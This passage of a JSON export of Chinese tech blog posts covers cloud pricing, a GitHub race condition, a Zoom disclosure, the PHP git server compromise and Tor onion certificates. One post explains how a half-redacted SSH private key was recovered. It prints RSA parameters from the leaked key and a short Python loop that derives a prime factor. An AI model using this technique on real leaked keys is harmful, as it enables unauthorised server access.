    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://benhoyt.com/writings/count-words/\">Performance comparison: counting words in Python, Go, C++, C, AWK, Forth, and Rust</a>」這個有趣的面試問題，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論也可以看看：「<a href=\"https://news.ycombinator.com/item?id=26463967\">Performance comparison: counting words in Python, Go, C++, C, Awk, Forth, Rust (benhoyt.com)</a>」。\r\n\r\n問題是這樣：\r\n\r\n<blockquote>Write a program to count the frequencies of unique words from standard input, then print them out with their frequencies, ordered most frequent first. For example, given this input:\r\n\r\n<pre>The foo the foo the\r\ndefenestration the</pre>\r\n\r\nThe program should print the following:\r\n\r\n<pre>the 4\r\nfoo 2\r\ndefenestration 1</pre></blockquote>\r\n\r\n在面試時，重點不在於用哪個程式語言，而是在面試時一路往下問，像是 profiling 的部份，內部資料結構的部份，可以問得很深。\r\n\r\n撇開面試，這個問題其實是個經典問題，當年 <a href=\"https://en.wikipedia.org/wiki/Donald_Knuth\">Donald Knuth</a> 與 <a href=\"https://en.wikipedia.org/wiki/Douglas_McIlroy\">Doug McIlroy</a> 兩位大師都有玩過：\r\n\r\n<blockquote>Incidentally, this problem <a href=\"https://leancrew.com/all-this/2011/12/more-shell-less-egg/\">set the scene</a> for a wizard duel between two computer scientists several decades ago. In 1986, Jon Bentley asked Donald Knuth to show off “literate programming” with a solution to this problem, and he came up with an exquisite, <a href=\"https://www.cs.tufts.edu/~nr/cs257/archive/don-knuth/pearls-2.pdf\">ten-page Knuthian masterpiece</a>. Then Doug McIlroy (the inventor of Unix pipelines) replied with a one-liner <a href=\"https://benhoyt.com/writings/count-words/#unix-shell\">Unix shell version</a> using <code>tr</code>, <code>sort</code>, and <code>uniq</code>.</blockquote>\r\n\r\n不過當年玩的問題有點變形：\r\n\r\n<blockquote>Given a text file and an integer k, print the k most common words in the file (and the number of their occurrences) in decreasing frequency.</blockquote>\r\n\r\n他們當時其實一個是在示範 <a href=\"https://en.wikipedia.org/wiki/Literate_programming\">Literate programming</a>，而另外一個在展現 pipe 的威力，都是借題發揮而已，跟上面的那些東西倒是沒什麼太大關係。",
    "title": "一個有趣的面試問題"
  },
  {
    "id": "10077",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 <code>X2gd</code> 機種，用 <a href=\"https://www.arm.com/\">ARM</a> 的 CPU，然後給更少顆，disk 也更小，但換來的就是價錢更低：「<a href=\"https://aws.amazon.com/blogs/aws/new-amazon-ec2-x2gd-instances-graviton2-power-for-memory-intensive-workloads/\">New Amazon EC2 X2gd Instances – Graviton2 Power for Memory-Intensive Workloads</a>」。\r\n\r\n把兩個用 ARM 的主機拿出來看看 <code>us-east-1</code> 的價錢，第一個是這次的 <code>x2gd.medium</code>，只有 1 vCPU + 59 GB SSD，但有 16 GB RAM，現在的價錢是 $0.0835/hr。\r\n\r\n另外一個 <code>r6g.large</code> 則是 2 vCPU + 16 GB RAM，然後 EBS only，則是 $0.1008/hr。\r\n\r\n再來是 <a href=\"https://www.intel.com/\">Intel</a> 的 <code>x1e.xlarge</code>，這邊是 4 vCPU + 12 GB RAM + 120 GB SSD，單價也差不多，不過記憶體少了點，$0.834/hr。\r\n\r\n另外 Intel 也有 <code>r5.large</code>，2 vCPU + 16 GB RAM + EBS only，$0.126/hr。\r\n\r\n最後一個是 <a href=\"https://www.amd.com/\">AMD</a> 的 <code>r5a.large</code>，跟 Intel 的 <code>r5.large</code> 也很像，2 vCPU + 16 GB RAM + EBS only，$0.113/hr。\r\n\r\n這次推出的 <code>X2gd</code> 機種提供了只要記憶體的極端選擇，而且依照先前的經驗，Graviton2 真的很快，1 vCPU 未必會不夠用... 至少我 blog 的 <a href=\"https://www.php.net/\">PHP</a> 與 <a href=\"https://mariadb.org/\">MariaDB</a> 都是跑在 <code>t4g</code> 上面，看起來比之前放在 VPS 上快不少 :o",
    "title": "AWS 推出 X2gd 機種，針對記憶體再提供更便宜的方案"
  },
  {
    "id": "10078",
    "body": "<a href=\"https://www.dropbox.com/\">Dropbox</a> 也要搞自己的密碼管理器 <a href=\"https://www.dropbox.com/features/security/passwords\">Dropbox Passwords</a>：「<a href=\"https://blog.dropbox.com/topics/product/dropbox-passwords-coming-soon-for-all-users\">Dropbox Passwords coming soon for all users</a>」。\r\n\r\n看起來只要是 Dropbox 的付費方案就可以無限使用，而免費版的則是 50 組。從下載頁看起來目前在 PC 上只支援 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Windows\">Microsoft Windows</a> 與 <a href=\"https://en.wikipedia.org/wiki/MacOS\">macOS</a>，不支援 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a>：\r\n\r\n<blockquote>Come back to this page on a PC with Windows 10 or a Mac with at least macOS Sierra 10.12 to get the Passwords desktop app.</blockquote>\r\n\r\n而行動平台就是 <a href=\"https://en.wikipedia.org/wiki/IOS\">iOS</a> 與 <a href=\"https://en.wikipedia.org/wiki/Android_(operating_system)\">Android</a>：\r\n\r\n<blockquote>How do I use the Android and iPhone password manager?\r\n\r\nOnce you sign in to the Passwords app, it automatically fills in your usernames and passwords so you can access frequently used apps and websites on your mobile device.</blockquote>\r\n\r\n從示意圖看起來有整合瀏覽器，而加密技術的部份沒有講太多，只說是 zero-knowledge encryption，先觀望看看...",
    "title": "Dropbox 也要搞自己的密碼管理器"
  },
  {
    "id": "10081",
    "body": "<a href=\"https://mattermost.com/\">Mattermost</a> 推出了可以自己架設專案管理的工具 <a href=\"https://www.focalboard.com/\">Focalboard</a>，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上可以看到討論：「<a href=\"https://news.ycombinator.com/item?id=26499062\">Focalboard – a self-hosted alternative to Trello, Notion, and Asana (focalboard.com)</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zT4SCjp.webp\" /><img src=\"https://i.gslin.com/imgur/zT4SCjp.png\" alt=\"\" /></picture>\r\n\r\n從界面上可以看出來抄 <a href=\"https://www.notion.so/\">Notion</a> 的專案部份，目前的功能還非常早期，沒有什麼整合能力... 然後從這個產品可以知道，這家公司應該就打算一直抄下去了 XD\r\n\r\n從 <a href=\"https://github.com/\">GitHub</a> 上的資料看起來是 <a href=\"https://golang.org/\">Golang</a> 與 <a href=\"https://vuejs.org/\">Vue.js</a> 寫的，設定裡看起來支援 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 與 <a href=\"https://sqlite.org/\">SQLite</a>。\r\n\r\n預設的 telemetry 是開的 (在 <code>config.json</code> 裡面可以看到)，建議可以關掉...",
    "title": "Mattermost 推出可以自己架設的專案管理工具 Focalboard"
  },
  {
    "id": "10085",
    "body": "<a href=\"https://github.com/\">GitHub</a> 在月初的時候把所有人都 logout，然後前幾天發文解釋了當時的情況：「<a href=\"https://github.blog/2021-03-18-how-we-found-and-fixed-a-rare-race-condition-in-our-session-handling/\">How we found and fixed a rare race condition in our session handling</a>」。\r\n\r\n起因於月初時有使用者回報他在登入後，變成其他人的身份：\r\n\r\n<blockquote>On March 2, 2021, we received a report via our support team from a user who, while using GitHub.com logged in as their own user, was suddenly authenticated as another user. They immediately logged out, but reported the issue to us, as it rightfully worried them.</blockquote>\r\n\r\n後面其實就是在講他們在改善 github.com 的效能時是在 <a href=\"https://rubyonrails.org/\">Rails</a> 架構上疊上許多 threading 的機制，但是沒有處理好 <a href=\"https://en.wikipedia.org/wiki/Critical_section\">critical section</a> 與 object reuse 而造成後續的問題。\r\n\r\n知道是 thread safety 的問題發生點後，其實就大概知道怎麼解決，主要還是 GitHub 在這篇文章裡面透漏了不少有趣的技術。\r\n\r\n首先是 github.com 有保留 HTTP header 與 HTTP body，而且有記錄是在哪台機器、哪個 process 處理的，這對於事後找問題時很有幫助：\r\n\r\n<blockquote>From reviewing logs, we could gather that the HTTP body in the response to the client we sent was correct and only the cookies in the response to the user were wrong. The affected users from the support reports received a session cookie from a user who very recently had a request handled inside the same process. In one case, the two requests were handled sequentially, one after the other. In the second case, there were two other requests in between.</blockquote>\r\n\r\n不確定是不是所有的 HTTP request 都有記錄，以 GitHub 的量來說應該是蠻可觀的，但感覺上現代的硬體好像又可以暴力解...\r\n\r\n另外是 github.com 引入了 threading 技術改善效能，不過這邊不確定這邊是用 C/C++ 寫，還是單純用 <a href=\"https://www.ruby-lang.org/\">Ruby</a> 本身提供的 threading 撰寫：\r\n\r\n<blockquote>Threads were already used in other places in this application, but the new background thread produced a novel and unforeseen interaction with our exception handling routines. When exceptions were reported from a background thread, such as a query timeout, the error log would contain information from both the background thread and the currently running request, showing that the data was being pulled across threads.</blockquote>\r\n\r\n這種最佳化的方式只有在夠大的服務上做才有效益，只能說 GitHub 的人比較無奈，threading 掛上一個已經很複雜的應用程式的確是容易中獎...",
    "title": "GitHub 的 Race Condition 造成安全性問題"
  },
  {
    "id": "10086",
    "body": "看到「<a href=\"https://threatpost.com/zoom-glitch-leaks-data/164876/\">Zoom Screen-Sharing Glitch ‘Briefly’ Leaks Sensitive Data</a>」這篇，講 <a href=\"https://zoom.us/\">Zoom</a> 在分享螢幕時的安全性問題，發現問題的德國資安團隊所寫的 security advisory 可以在「<a href=\"https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-044.txt\">SYSS-2020-044.txt</a>」這邊看到，對應的 <a href=\"https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures\">CVE</a> 號碼是 <a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-28133\">CVE-2021-28133</a>。\r\n\r\n安全問題出在，分享者要分享某個應用程式的畫面，但有可能會先分享到其他畫面，再切回來：\r\n\r\n<blockquote>However, “under certain conditions” if a Zoom presenter chooses to share one application window, the share-screen feature briefly transmits content of other application windows to meeting participants, according to German-based SySS security consultant Michael Strametz, who discovered the flaw, and researcher Matthias Deeg, in a Thursday disclosure advisory (which has been translated via Google).</blockquote>\r\n\r\n而目前的版本還是有一樣的問題：\r\n\r\n<blockquote>The current Zoom client version, 5.5.4 (13142.0301), for Windows is still vulnerable to the issue, Deeg told Threatpost.</blockquote>\r\n\r\n這個問題是去年十二月就通報了，過了三個月沒有回應，所以團隊公開出來：\r\n\r\n<pre>Disclosure Timeline:\r\n\r\n2020-12-02: Vulnerability reported to manufacturer\r\n2020-12-02: Manufacturer acknowledges receipt of security advisory\r\n2020-12-02: Manufacturer asks for more information\r\n2020-12-03: SySS provides more information concerning the security issue\r\n2020-12-03: Manufacturer confirms reproducing the security issue in both the Windows and the Linux client and asks further questions\r\n2020-12-04: SySS answers open questions\r\n2020-12-04: Manufacturer responds and will look into the reported security issue\r\n2021-01-21: SySS asks for status update\r\n2021-02-01: SySS asks for status update\r\n2021-03-18: Public release of security advisory</pre>\r\n\r\n不知道什麼時候會修正",
    "title": "Zoom 在分享螢幕時會有資料安全性問題"
  },
  {
    "id": "10087",
    "body": "<a href=\"https://www.google.com/chrome/\">Google Chrome</a> 從 90 版要把 <code>https://</code> 變成網址輸入時的預設值：「<a href=\"https://blog.chromium.org/2021/03/a-safer-default-for-navigation-https.html\">A safer default for navigation: HTTPS</a>」。<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的「<a href=\"https://news.ycombinator.com/item?id=26555873\">Chrome’s address bar will use https:// by default (chromium.org)</a>」也可以看一下。\r\n\r\n也就是說，沒有輸入 schema 的網址，預設會用 <code>https://</code> 方式連線，以往這點需要透過 <a href=\"https://chrome.google.com/webstore/detail/https-everywhere/gcbommkclmclpchllfjekcdonpmejbdp\">HTTPS Everywhere</a> 這種套件，然後開啟「Encrypt All Sites Eligible」這樣的參數，像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/RvqTthr.webp\" /><img src=\"https://i.gslin.com/imgur/RvqTthr.png\" alt=\"\" /></picture>\r\n\r\n這樣會再推一把...",
    "title": "Google Chrome 要推動預設使用 HTTPS 連線"
  },
  {
    "id": "10088",
    "body": "<a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 87 推出了 SmartBlock，試著阻擋各種追蹤器：「<a href=\"https://blog.mozilla.org/security/2021/03/23/introducing-smartblock/\">Firefox 87 introduces SmartBlock for Private Browsing</a>」，不過這不是一般的預設值，而是只有 Strict 模式與無痕模式會用到。\r\n\r\n對於追蹤的問題，最早的作法是直接擋掉 3rd-party tracking javascript 的載入，但有很多網站會因為對應的變數沒有初始化而造成 javascript error。\r\n\r\n這次的 SmartBlock 其實就是在各家阻擋套件實做很久的方式，插入一小段客製化的 javascript 讓網站裡的 javascript 可以呼叫，但實際上不會送任何資料出去，像是 <a href=\"https://en.wikipedia.org/wiki/UBlock_Origin\">uBlock Origin</a> 的「<a href=\"https://github.com/uBlockOrigin/uAssets/blob/master/filters/unbreak.txt\">unbreak.txt</a>」。\r\n\r\n不過 Firefox 重複搞這麼多東西，要不要考慮直接把 uBlock Origin 內建進來啊...",
    "title": "Firefox 87 推出 SmartBlock 阻擋 3rd-party tracking"
  },
  {
    "id": "10089",
    "body": "看到 <a href=\"https://www.torproject.org/\">Tor</a> 官方的「<a href=\"https://blog.torproject.org/tls-certificate-for-onion-site\">Get a TLS certificate for your onion site</a>」這篇，查了一下發現先前漏掉一些資訊...\r\n\r\n首先是 2020 年二月的時候 <a href=\"https://cabforum.org/\">CA/Browser Forum</a> 就已經在投票是否有開放 v3 <code>.onion</code> 的憑證：「<a href=\"https://archive.cabforum.org/pipermail/servercert-wg/2020-February/001637.html\">[Servercert-wg] Voting Begins: Ballot SC27v3: Version 3 Onion Certificates</a>」，而結果也順利通過：「<a href=\"https://cabforum.org/2020/02/20/ballot-sc27v3-version-3-onion-certificates/\">Ballot SC27v3: Version 3 Onion Certificates - CAB Forum</a>」。\r\n\r\n而一直到今年才有消息，希臘的 <a href=\"https://www.harica.gr/\">Harica CA</a> 在月初時正式支援 v3 <code>.onion</code>：「<a href=\"https://www.reddit.com/r/onions/comments/lwaccm/harica_ca_now_supports_issuance_of_dv_onion/\">Harica CA now supports issuance of DV .onion certificates</a>」，不過拿 <a href=\"https://www.ssllabs.com/\">SSL Lab</a> 的工具翻了一下，發現不是所有的平台都有認 Harica CA：「<a href=\"https://www.ssllabs.com/ssltest/analyze.html?d=www.harica.gr&amp;s=155.207.1.46&amp;latest\">SSL Report: www.harica.gr (155.207.1.46)</a>」，裡面可以看到 Java 的 trust store 裡面沒有 Harica CA：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/5VefgHk.webp\" /><img src=\"https://i.gslin.com/imgur/5VefgHk.png\" alt=\"\" /></picture>\r\n\r\n實際測了一下流程，Harica CA 的網站會等到認證完後收費，看起來可以透過信用卡，但我就沒走下去了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"\" /><img src=\"https://i.gslin.com/imgur/aVIEzti.png\" alt=\"\" /></picture>\r\n\r\n想要看看的人可以看 Kushal Das 的 <a href=\"https://kushaldas.in/\">kushaldas.in</a> 與 <a href=\"https://kushal76uaid62oup5774umh654scnu5dwzh4u2534qxhcbi4wbab3ad.onion/\">kushal76uaid62oup5774umh654scnu5dwzh4u2534qxhcbi4wbab3ad.onion</a> 就可以了。\r\n\r\n另外查了一下 <a href=\"https://en.wikipedia.org/wiki/Certificate_Transparency\">Certificate Transparency</a>，可以看到我自己的 onion server 先被簽出來了：「<a href=\"https://crt.sh/?id=4274421333\">5g4ukauwohjqjpydwqnkfkxxtcxkgtusr5twji53stfdzbz54xrmckid.onion</a>」。\r\n\r\n等 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 出來後再說吧，目前看起來「<a href=\"https://github.com/letsencrypt/boulder/issues/4620\">Support for FQDNs under .onion</a>」這邊沒有什麼進度...",
    "title": "讓 Tor 的 .onion 支援 HTTPS"
  },
  {
    "id": "10090",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到圖案釋出了：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">The new £50 note featuring Alan Turing is coming on 23 June 2021. Find out about its design and security features: <a href=\"https://t.co/nbOlU9kgCU\">https://t.co/nbOlU9kgCU</a> <a href=\"https://twitter.com/hashtag/TheNew50?src=hash&amp;ref_src=twsrc%5Etfw\">#TheNew50</a> <a href=\"https://t.co/FhPBJAVFP6\">pic.twitter.com/FhPBJAVFP6</a></p>&mdash; Bank of England (@bankofengland) <a href=\"https://twitter.com/bankofengland/status/1375002034060070912?ref_src=twsrc%5Etfw\">March 25, 2021</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n官網上有放出背面圖案：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/YoMhzkg.webp\" /><img src=\"https://i.gslin.com/imgur/YoMhzkg.jpg\" alt=\"\" /></picture>\r\n\r\n2021/06/23 上，可以考慮收一張起來...",
    "title": "英國五十英鎊鈔票圖案 (Alan Turing) 釋出"
  },
  {
    "id": "10092",
    "body": "<a href=\"https://www.freebsd.org/\">FreeBSD</a> 與 <a href=\"https://www.pfsense.org/\">pfSense</a> 上的 <a href=\"https://www.wireguard.com/\">WireGuard</a> 實做問題前幾天被 <a href=\"https://arstechnica.com/\">Ars</a> 的人整理出來：「<a href=\"https://arstechnica.com/gadgets/2021/03/buffer-overruns-license-violations-and-bad-code-freebsd-13s-close-call/\">Buffer overruns, license violations, and bad code: FreeBSD 13’s close call</a>」，文章有點長度，但整個劇情有種在看八點檔的感覺... 在 Hacker News 上的「<a href=\"https://news.ycombinator.com/item?id=26590495\">Buffer overruns, license violations, and bad code: FreeBSD 13’s close call (arstechnica.com)</a>」與後續的「<a href=\"https://news.ycombinator.com/item?id=26475519\">In-kernel WireGuard is on its way to FreeBSD and the pfSense router (arstechnica.com)</a>」都值得翻翻。\r\n\r\n目前 FreeBSD 與 pfSense 都已經把現有的 WireGuard 實做拿掉，主要原因是實做本身的品質很差 (以及安全性問題)，而且沒有將 WireGuard 的功能實做完整。\r\n\r\n文章裡面有提到兩個組織面上的問題 (還有攻擊個人的部份，這邊就不提了)，第一個是 FreeBSD 的 review process，看起來比較像是系統面的問題，目前還是缺乏人力。\r\n\r\n另外一個是 <a href=\"https://www.netgate.com/\">Netgate</a> 本身 (pfSense 後面的公司)，本來沒有太多背景知識，但這次事件發生後跑去翻了一下資料，發現原來之前就有一些「記錄」了，像是註冊競爭對手的產品 <a href=\"https://opnsense.org/\">OPNsense</a> 沒有註冊的網域 <code>opnsense.com</code>，然後導去 pfSense 家的事情，最後使得 <a href=\"https://www.deciso.com/\">Deciso</a> (OPNsense 後面的公司) 到 <a href=\"https://en.wikipedia.org/wiki/World_Intellectual_Property_Organization\">WIPO</a> 上搶回來：「<a href=\"https://www.wipo.int/amc/en/domains/search/text.jsp?case=D2017-1828\">WIPO Domain Name Decision: D2017-1828</a>」。\r\n\r\n可以花些時間來看看替代方案...",
    "title": "FreeBSD & pfSense 上的 WireGuard 問題"
  },
  {
    "id": "10094",
    "body": "就如同標題說的：「<a href=\"https://news-web.php.net/php.internals/113838\">Changes to Git commit workflow</a>」，<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論也可以看一下：「<a href=\"https://news.ycombinator.com/item?id=26616707\">PHP's Git server compromised, moving to GitHub (php.net)</a>」。\r\n\r\n<blockquote>Yesterday (2021-03-28) two malicious commits were pushed to the php-src repo [1] from the names of Rasmus Lerdorf and myself. We don't yet know how exactly this happened, but everything points towards a compromise of the git.php.net server (rather than a compromise of an individual git account).\r\n\r\nWhile investigation is still underway, we have decided that maintaining our\r\nown git infrastructure is an unnecessary security risk, and that we will\r\ndiscontinue the git.php.net server. Instead, the repositories on GitHub,\r\nwhich were previously only mirrors, will become canonical. This means that\r\nchanges should be pushed directly to GitHub rather than to git.php.net.</blockquote>\r\n\r\n不知道發生什麼事情，要等事後的報告出來...",
    "title": "PHP 的 Git Server 被打穿，決定把整個 Git 系統搬到 GitHub 上"
  },
  {
    "id": "10096",
    "body": "在「<a href=\"https://blog.cryptohack.org/twitter-secrets\">Recovering a full PEM Private Key when half of it is redacted</a>」這邊看到的，起因是 <a href=\"https://twitter.com/_SaxX_/status/1374661320092614660\">_SaxX_</a> 幫客戶做滲透測試時找到客戶公開在網路上的 SSH key，然後他就碼掉一部分貼出來：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">This morning, I began another <a href=\"https://twitter.com/hashtag/pentest?src=hash&amp;ref_src=twsrc%5Etfw\">#pentest</a> for a client. After some google-fu dorking combine with the major search engines, I found the id_rsa key that gave me access to the server and a bunch of others ??<br><br>another mistake under their radar... <a href=\"https://t.co/K99UyjKTzW\">pic.twitter.com/K99UyjKTzW</a></p>&mdash; S. A. X. X. (@_SaxX_) <a href=\"https://twitter.com/_SaxX_/status/1374661320092614660?ref_src=twsrc%5Etfw\">March 24, 2021</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n原圖是這樣，接下來就開始被還原 XD\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2Ne9tbf.webp\" /><img src=\"https://i.gslin.com/imgur/2Ne9tbf.png\" alt=\"\" /></picture>\r\n\r\n首先是 OCR 的過程，被稱為是整個還原過程最難的一部分 (哭爸啊)：\r\n\r\n<blockquote>Ironically, this was the hardest part of the challenge. It took the longest time of all the steps and was the easiest to make errors in.</blockquote>\r\n\r\n接下來就是解讀 <a href=\"https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail\">PEM</a> 檔的格式，可以藉此得到裡面的參數。\r\n\r\n然後是套公式，窮舉運算裡面的值，可以看到迴圈 <code>kp</code> 只算了 <code>3</code> 到 <code>65537</code>，就推算出可能的 <code>p</code>：\r\n\r\n<pre>e = 65537\r\nq = 0xc28871e8714090e0a33327b88acc57eef2eb6033ac6bc44f31baeac33cbc026c3e8bbe9e0f77c8dbc0b4bfed0273f6621d24bc1effc0b6c06427b89758f6d433a02bf996d42e1e2750738ac3b85b4a187a3bcb4124d62296cb0eecaa5b70fb84a12254b0973797a1e53829ec59f22238eab77b211664fc2fa686893dda43756c895953e573fd52aa9bb41d22306135c81174a001b32f5407d4f72d80c5de2850541de5d55c19c1f817eea994dfa534b6d941ba204b306225a9e06ddb048f4e34507540fb3f03efeb30bdd076cfa22b135c9037c9e18fe4fa70cf61cea8c002e9c85e53c1eaac935042d00697270f05b8a7976846963c933dadd527227e6c45e1\r\ndp = 0x878f7c1b9b19b1693c1371305f194cd08c770c8f5976b2d8e3cf769a1117080d6e90a10aef9da6eb5b34219b71f4c8e5cde3a9d36945ac507ee6dfe4c146e7458ef83fa065e3036e5fbf15597e97a7ba93a31124d97c177e68e38adc4c45858417abf8034745d6b3782a195e6dd3cf0be14f5d97247900e9aac3b2b5a89f33a3f8f71d27d670401ca185eb9c88644b7985e4d98a7da37bfffdb737e54b6e0de2004d0c8c425fb16380431d7de40540c02346c98991b748ebbc8aac73dd58de6f7ff00a302f4047020b6cd9098f6ba686994f5e043e7181edfc552e18bce42b3a42b63f7ccb7729b74e76a040055d397278cb939240f236d0a2a79757ba7a9f09\r\n\r\nfor kp in range(3, e):\r\n    p_mul = dp * e - 1\r\n    if p_mul % kp == 0:\r\n        p = (p_mul // kp) + 1\r\n        if isPrime(p):\r\n            print(f\"Possible p: {p}\")</pre>\r\n\r\n後面就是跑驗證確認，就被打出來了...",
    "title": "還原被碼掉的 PEM 資訊 (SSH RSA key)"
  },
  {
    "id": "10097",
    "body": "我手上有好幾隻 <a href=\"https://en.wikipedia.org/wiki/YubiKey\">YubiKey</a>，目前幾個有在用的服務都有支援同時綁定多組 <a href=\"https://en.wikipedia.org/wiki/Universal_2nd_Factor\">U2F</a>/<a href=\"https://en.wikipedia.org/wiki/WebAuthn\">WebAuthn</a> 的能力 (像是 <a href=\"https://www.facebook.com/\">Facebook</a> 與 <a href=\"https://github.com/\">GitHub</a>)。\r\n\r\n<a href=\"https://twitter.com/\">Twitter</a> 一開始推出的時候也可以支援多組，但在去年 2020 年八月的時候發現這個功能被拔掉，只能放一把進去。\r\n\r\n我自己開了一張 ticket 定時回頭看一下有沒有修正，剛剛定期回顧發現這個功能被加回來了，而且官方的文件上也加上去了：「<a href=\"https://help.twitter.com/en/managing-your-account/two-factor-authentication#security-key\">How to use two-factor authentication</a>」。\r\n\r\n翻了一下 <a href=\"https://www.archive.org/\">Internet Archive</a> 上的資料，看起來是 <a href=\"https://web.archive.org/web/20210311190554/https://help.twitter.com/en/managing-your-account/two-factor-authentication\">3/11</a> 到 <a href=\"https://web.archive.org/web/20210316135251/https://help.twitter.com/en/managing-your-account/two-factor-authentication\">3/16</a> 中間更新文件的...\r\n\r\n手上有多把 security key 的人也可以處理一下。",
    "title": "Twitter 的 MFA 可以加入多支 YubiKey 了"
  },
  {
    "id": "10098",
    "body": "翻資料才發現路透社的 feed 已經不見了，大概是去年 2020 年六月的事情：「<a href=\"https://codarium.substack.com/p/returning-the-killed-rss-of-reuters\">Returning the \"killed\" RSS of Reuters from the dead</a>」。\r\n\r\n不過文章裡面提到的替代方案還蠻有趣的，<a href=\"https://news.google.com/\">Google News</a> 上可以透過 filter 條件輸出：\r\n\r\n<pre><a href=\"https://news.google.com/rss/search?q=when:24h+allinurl:reuters.com&amp;ceid=US:en&amp;hl=en-US&amp;gl=US\">https://news.google.com/rss/search?q=when:24h+allinurl:reuters.com&amp;ceid=US:en&amp;hl=en-US&amp;gl=US</a></pre>\r\n\r\n不過測了一下台灣自家的新聞媒體網址，看起來不會動... 把網站改成 <code>news.google.com.tw</code> 也不行，如果沒有提供的還是得自己寫...",
    "title": "路透社的 RSS feed"
  },
  {
    "id": "10099",
    "body": "以往 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 的機器爛到開不起來時只能「看」到 Console 的輸出，然後要把 root volume 掛到其他機器上修正，接著再掛回來 (然後沒修好就要再重複...)，現在總算可以透過 <a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-serial-console.html\">EC2 Serial Console</a> 來操作了：「<a href=\"https://aws.amazon.com/blogs/aws/troubleshoot-boot-and-networking-issues-with-new-ec2-serial-console/\">Troubleshoot Boot and Networking Issues with New EC2 Serial Console</a>」。\r\n\r\n不過裡面有一些限制，首先機器必須是基於 <a href=\"https://aws.amazon.com/ec2/nitro/\">AWS Nitro System</a>，這個部份在「<a href=\"https://aws.amazon.com/ec2/instance-types/\">Amazon EC2 Instance Types</a>」這邊可以翻到是不是 Nitro，比較新的 family type 應該都是 (像是 <code>t3</code>/<code>t3a</code>/<code>t4g</code> 都是 Nitro，但 <code>t2</code> 不是)：\r\n\r\n<blockquote>EC2 Serial Console access is available for EC2 instances based on the AWS Nitro System. It supports all major Linux distributions, FreeBSD, NetBSD, Microsoft Windows, and VMWare.</blockquote>\r\n\r\n另外是支援的區域目前只有幾個主力區域，不過公司在用的主力區 (新加坡) 也進去了，之後遇到問題的時候可以測試看看：\r\n\r\n<ul>\r\n\t<li>US East (N. Virginia), US West (Oregon), US East (Ohio)</li>\r\n\t<li>Europe (Ireland), Europe (Frankfurt)</li>\r\n\t<li>Asia Pacific (Tokyo), Asia Pacific (Sydney), Asia Pacific (Singapore)</li>\r\n</ul>\r\n\r\n<a href=\"https://twitter.com/\">Twitter</a> 上看到有些人有提到「總算啊...」之類的感想...",
    "title": "EC2 總算支援透過 Serial Console 操作了..."
  },
  {
    "id": "10100",
    "body": "差不多一年前提到了 <a href=\"https://kafka.apache.org/\">Kafka</a> 打算拔掉 <a href=\"https://zookeeper.apache.org/\">ZooKeeper</a> 的計畫 (在「<a href=\"https://blog.gslin.org/archives/2020/03/18/9444/kafka-%E6%8B%94%E6%8E%89-zookeeper-%E7%9A%84%E8%A8%88%E7%95%AB/\">Kafka 拔掉 ZooKeeper 的計畫</a>」這邊有提到)，昨天 <a href=\"https://www.confluent.io/\">Confluent</a> 發了一篇進展：「<a href=\"https://www.confluent.io/blog/kafka-without-zookeeper-a-sneak-peek/\">Apache Kafka Made Simple: A First Glimpse of a Kafka Without ZooKeeper</a>」。\r\n\r\n這件事情可以在「<a href=\"https://cwiki.apache.org/confluence/display/KAFKA/KIP-500%3A+Replace+ZooKeeper+with+a+Self-Managed+Metadata+Quorum\">KIP-500: Replace ZooKeeper with a Self-Managed Metadata Quorum</a>」這邊看到說明，另外在 <a href=\"https://www.atlassian.com/software/jira\">Jira</a> 上面則是在 <a href=\"https://issues.apache.org/jira/browse/KAFKA-9119\">KAFKA-9119</a> 這邊追蹤。\r\n\r\n目前的好消息就是 KIP-500 的程式碼都已經推進 trunk，目標在 2.8 釋出時就可以用：\r\n\r\n<blockquote>So we’re very pleased to say that the early access of the KIP-500 code has been committed to trunk and is expected to be included in the upcoming 2.8 release.</blockquote>\r\n\r\n文件裡面會用「Kafka Raft Metadata mode」或是「KRaft」稱呼這種模式：\r\n\r\n<blockquote>For the first time, you can run Kafka without ZooKeeper. We call this the Kafka Raft Metadata mode, typically shortened to KRaft (pronounced like craft) mode.</blockquote>\r\n\r\n然後有缺一些功能，另外就是常態性宣導這是測試版，建議不要在 production 環境用：\r\n\r\n<blockquote>Beware, there are some features that are not available in this early-access release. We do not yet support the use of ACLs and other security features or transactions. Also, both partition reassignment and JBOD are unsupported in KRaft mode (these are anticipated to be available in an Apache Kafka release later in the year). Hence, consider the quorum controller experimental software—we don’t advise subjecting it to production workloads. If you do try out the software, however, you’ll find a host of new advantages: It’s simpler to deploy and operate, you can run Kafka in its entirety as a single process, and it can accommodate significantly more partitions per cluster (see measurements 